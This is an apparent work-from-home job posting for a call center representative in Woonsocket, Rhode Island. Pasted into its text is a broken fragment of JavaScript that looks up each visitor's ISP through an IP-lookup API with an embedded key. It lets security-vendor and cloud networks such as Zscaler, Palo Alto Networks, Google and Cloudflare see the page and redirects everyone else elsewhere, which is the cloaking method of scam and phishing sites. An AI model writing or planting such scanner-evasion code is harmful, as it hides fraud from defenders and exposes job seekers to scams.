Full-Time Call Center Representative

Full-Time Call Center Representative

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated FT Call Center Representative to work from home, based in Woonsocket, Rhode Island.

Responsibilities include:

  • Handling inbound and outbound customer calls with professionalism and courtesy
  • Providing accurate information and resolving customer inquiries efficiently
  • Documenting interactions and updating customer records in the system
  • Maintaining high levels of customer satisfaction and adhering to quality standards
  • Collaborating with team members to improve service processes

Skills needed:

  • Excellent communication and active listening skills
  • Strong problem-solving abilities
  • Self-motivated and reliable with the ability to work independently
  • Comfortable working in a virtual environment with reliable internet

Benefits include competitive pay, flexible work hours, comprehensive training, and health benefits. Join our team and enjoy a supportive remote work environment!

Emploment Location
Rhode Island, Woonsocket

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